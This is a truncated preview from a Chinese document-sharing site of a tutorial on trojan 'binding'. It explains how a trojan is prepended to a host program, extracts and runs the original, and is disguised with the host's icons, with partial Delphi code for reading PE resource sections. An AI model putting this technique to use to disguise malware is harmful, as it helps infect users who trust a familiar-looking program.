病毒木马程序的感染和捆绑方式.doc

病毒木马程序的感染和捆绑方式.doc

ID:55261839

大小:24.50 KB

页数:11页

时间:2020-05-08

病毒木马程序的感染和捆绑方式.doc_第1页
病毒木马程序的感染和捆绑方式.doc_第2页
病毒木马程序的感染和捆绑方式.doc_第3页
病毒木马程序的感染和捆绑方式.doc_第4页
病毒木马程序的感染和捆绑方式.doc_第5页
资源描述:

《病毒木马程序的感染和捆绑方式.doc》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、最近在研究病毒木马程序的感染和捆绑方式。  发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式  第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马  然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法  这种方式有缺点也有优点  优点是:  可以捆绑任何程序  缺点是:  运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢  实现方法:(Demo下载)  如果不改变图标,实现方法是非常简单的。  用文件流的方式 把

2、目标程序写在木马程序后面  这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错  (目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标  和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)  请勿用于病毒传播,这里只贴出核心代码  【全文】  functionAlign(Size,AlignBase:integer):Integer;  begin  ifSizemodAlignBase<>0then  Result:=(Trunc(Size/

3、AlignBase)+1)*AlignBase  else  Result:=Size;  end;  procedureGetRsrcStream(AFHandle:THandle;varAStream:PStream;varASectionHeader:TImageSectionHeader);  var  I:integer;  DosHeader:TImageDosHeader;  NTHeader:TImageNtHeaders;{NtHeader}  dRead:DWORD;  begin  SetFilePointer(AFHandle,0,nil,F

4、ILE_BEGIN);  ReadFile(AFHandle,DosHeader,SizeOf(TImageDosHeader),dRead,nil);  //非PE退出  ifnotDosHeader.e_magic=IMAGE_DOS_SIGNATUREthenExit;  SetFilePointer(AFHandle,DosHeader._lfanew,nil,FILE_BEGIN);  ReadFile(AFHandle,NTHeader,SizeOf(TImageNTHeaders),dRead,nil);  //非PE退出  ifNTHeader.Si

5、gnature<>IMAGE_NT_SIGNATUREthenExit;  SetFilePointer(AFHandle,DosHeader._lfanew+SizeOf(TImageNtHeaders),nil,FILE_BEGIN);  fori:=0toNTHeader.FileHeader.NumberOfSections-1do  begin  ReadFile(AFHandle,ASectionHeader,SizeOf(TImageSectionHeader),dRead,nil);  ifASectionHeader.VirtualAddress=

6、NTHeader.OptionalHeader.DataDirectory[2].VirtualAddressthen  begin  SetFilePointer(AFHandle,ASectionHeader.PointerToRawData,nil,FILE_BEGIN);  SetLength(AStream,ASectionHeader.SizeOfRawData);  ReadFile(AFHandle,AStream[0],ASectionHeader.SizeOfRawData,dRead,nil);  Exit;  end;  end;  end;

7、  functionStripHighBit(L:Longint):DWORD;  begin  Result:=Land$7FFFFFFF;  end;  functionHighBitSet(L:Longint):Boolean;  begin  Result:=(Land$80000000)<>0;  end;  functionIsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry;BaseEntry:DWORD):boolean;  begin  Result:=HighBitSet(

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。